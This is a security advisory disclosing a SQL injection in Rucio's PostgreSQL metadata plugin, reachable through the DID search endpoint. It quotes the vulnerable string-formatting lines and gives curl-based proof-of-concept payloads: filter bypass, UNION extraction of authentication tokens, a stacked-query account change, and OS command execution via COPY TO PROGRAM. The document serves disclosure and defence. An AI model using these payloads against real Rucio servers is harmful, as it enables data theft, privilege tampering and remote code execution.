Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API

Summary

A SQL injection vulnerability in FilterEngine.create_postgres_query allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (GET /dids/<scope>/dids/search). When the external metadata plugin postgres_meta is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python str.format. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via COPY ... FROM PROGRAM.

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Details

The vulnerability exists in lib/rucio/core/did_meta_plugins/filter_engine.py within the create_postgres_query() method (lines 408-484). This method builds raw SQL strings via Python .format() across 6 distinct injection points:

filter_engine.py:477 (string equality — default branch):

expression = "{}->>'{}'  {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:442 (wildcard/LIKE branch):

expression = "{}->>'{}'  LIKE '{}' ".format(jsonb_column, key, value.replace('*', '%'))

filter_engine.py:456 (boolean branch — value unquoted):

expression = "({}->>'{}'  )::boolean {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:462 (numeric branch — value unquoted):

expression = "({}->>'{}'  )::float {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:472 (datetime branch):

expression = "({}->>'{}'  )::timestamp {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:479 (non-JSONB column fallback):

expression = "{} {} '{}'".format(key, POSTGRES_OP_MAP[oper], value)

Both key and value are attacker-controlled strings derived from HTTP query parameters. The resulting expression string is concatenated into a larger query string (postgres_query_str) that is then passed to psycopg3's sql.SQL():

# postgres_meta.py:314-316
statement = sql.SQL("SELECT * FROM {} WHERE {} {}").format(
    sql.Identifier(self.table),
    sql.SQL(postgres_query_str),   # <-- UNSANITIZED user-derived string
    sql.SQL("LIMIT {}").format(sql.Literal(limit)) if limit else sql.SQL("")
)

sql.SQL() wraps the string as a trusted SQL syntax fragment — it does not escape or parameterize its contents. The statement is then executed via cur.execute(statement) at postgres_meta.py:321.

Why no existing defense blocks this

The data flow from HTTP request to SQL execution passes through multiple layers with no effective sanitization:

1. HTTP input (dids.py:265-274): Filter keys and values are accepted from query parameters via ast.literal_eval() or directly from individual query argument names/values. The fallback path only excludes 4 reserved keys (type, limit, long, recursive).

2. Plugin routing (did_meta_plugins/__init__.py:227-248): Each filter key is checked via manages_key(). postgres_meta.manages_key() unconditionally returns True (line 345) — it accepts ANY filter key without validation.

3. FilterEngine initialization: The postgres_meta plugin instantiates FilterEngine with strict_coerce=False. Unknown keys pass through _coerce_filter_word_to_model_attribute() as raw strings.

4. Value typecasting (filter_engine.py:275-297): _try_typecast_string() attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged.

5. Sanity checks (filter_engine.py:149-190): _sanity_check_translated_filters() does not validate arbitrary key names or values for SQL-unsafe characters.

6. SQL construction (filter_engine.py:442-479): The unsanitized key and value strings are interpolated directly into raw SQL strings via .format().

7. SQL execution (postgres_meta.py:316,321): The raw string is wrapped in sql.SQL() (treated as trusted SQL) and executed via cur.execute().

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PoC

Prerequisites:

• A Rucio instance using PostgreSQL as the database backend
• The postgres_meta metadata plugin explicitly configured (this is NOT the default — the default is json_meta)
• Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)

1. Obtain an authentication token

TOKEN=$(curl -s -k \
  -H 'X-Rucio-Account: testuser' \
  -H 'X-Rucio-Username: testuser' \
  -H 'X-Rucio-Password: testpass' \
  'https://rucio.example.org/auth/userpass' \
  -D - 2>/dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\r')

2. Value injection — boolean-based filter bypass

# postgres_meta uses create_postgres_query() -> raw string formatting
# filter_engine.py:477: "{}->>'{}'  {} '{}'".format(jsonb_column, key, op, value)

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20OR%20'1'%3D'1"

# URL-decoded: custom_key=x' OR '1'='1
#
# Generated SQL fragment:
#   data->>'custom_key' = 'x' OR '1'='1'
#
# Effect: WHERE clause always true, returns all rows

3. Key injection via query parameter name

# The key is single-quoted but unescaped — injection via closing quote.
# filter_engine.py:477: "{}->>'{}'  {} '{}'".format(jsonb_column, key, op, value)

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?x'%20OR%201%3D1--%20=anything"

# URL-decoded: key = x' OR 1=1--  , value = anything
#
# Generated SQL fragment:
#   data->>'x' OR 1=1-- ' = 'anything'
#              ^^^^^^^^ injected, -- comments out the rest

4. UNION-based data extraction

# Extract auth tokens from the tokens table.

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--"

# URL-decoded: custom_key=x' UNION SELECT token,account,NULL,NULL FROM tokens --
#
# Effect: Appends tokens table contents to the result set

5. Stacked queries — data modification

# PostgreSQL supports multiple statements separated by ;

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20UPDATE%20accounts%20SET%20account_type%3D'SERVICE'%20WHERE%20account%3D'testuser';%20--"

# URL-decoded: custom_key=x'; UPDATE accounts SET account_type='SERVICE' WHERE account='testuser'; --

6. Remote code execution (if database user has superuser privileges)

# PostgreSQL COPY ... FROM PROGRAM executes OS commands

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'id%20>%20/tmp/pwned';%20--"

# URL-decoded: custom_key=x'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned'; --
# Requires: database user with pg_execute_server_program or superuser role

7. Alternative entry via filters query parameter

# The filters parameter accepts Python literal syntax via ast.literal_eval().

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%27%20OR%20%271%27%3D%271%22%7D%5D'

# URL-decoded: filters=[{"custom_key": "x' OR '1'='1"}]

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Impact

Vulnerability type: SQL Injection (CWE-89)

CVSS v3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

Who is impacted:

• Rucio deployments that have explicitly configured the postgres_meta metadata plugin.

What an attacker can do:

• Data modification: PostgreSQL stacked queries enable arbitrary INSERT/UPDATE/DELETE operations.
• Remote code execution: Via PostgreSQL's COPY ... FROM PROGRAM if the database user has superuser or pg_execute_server_program privileges.
• File system access: Via COPY ... TO/FROM '/path' if filesystem permissions allow.

Further elevation when the same postgres database and access is used for metadata and for Rucio itself

• Full database read access: Extract any table including identities (password hashes and salts), tokens (active authentication sessions), accounts (user enumeration), rse_settings (storage endpoint credentials), and rules (data management policies) could be extracted.
• Password hash extraction: Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.
• Authentication token theft: Active bearer tokens can be extracted and used for immediate session hijacking.

Required attacker privileges: Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The GET /dids/<scope>/dids/search endpoint is available to all authenticated users.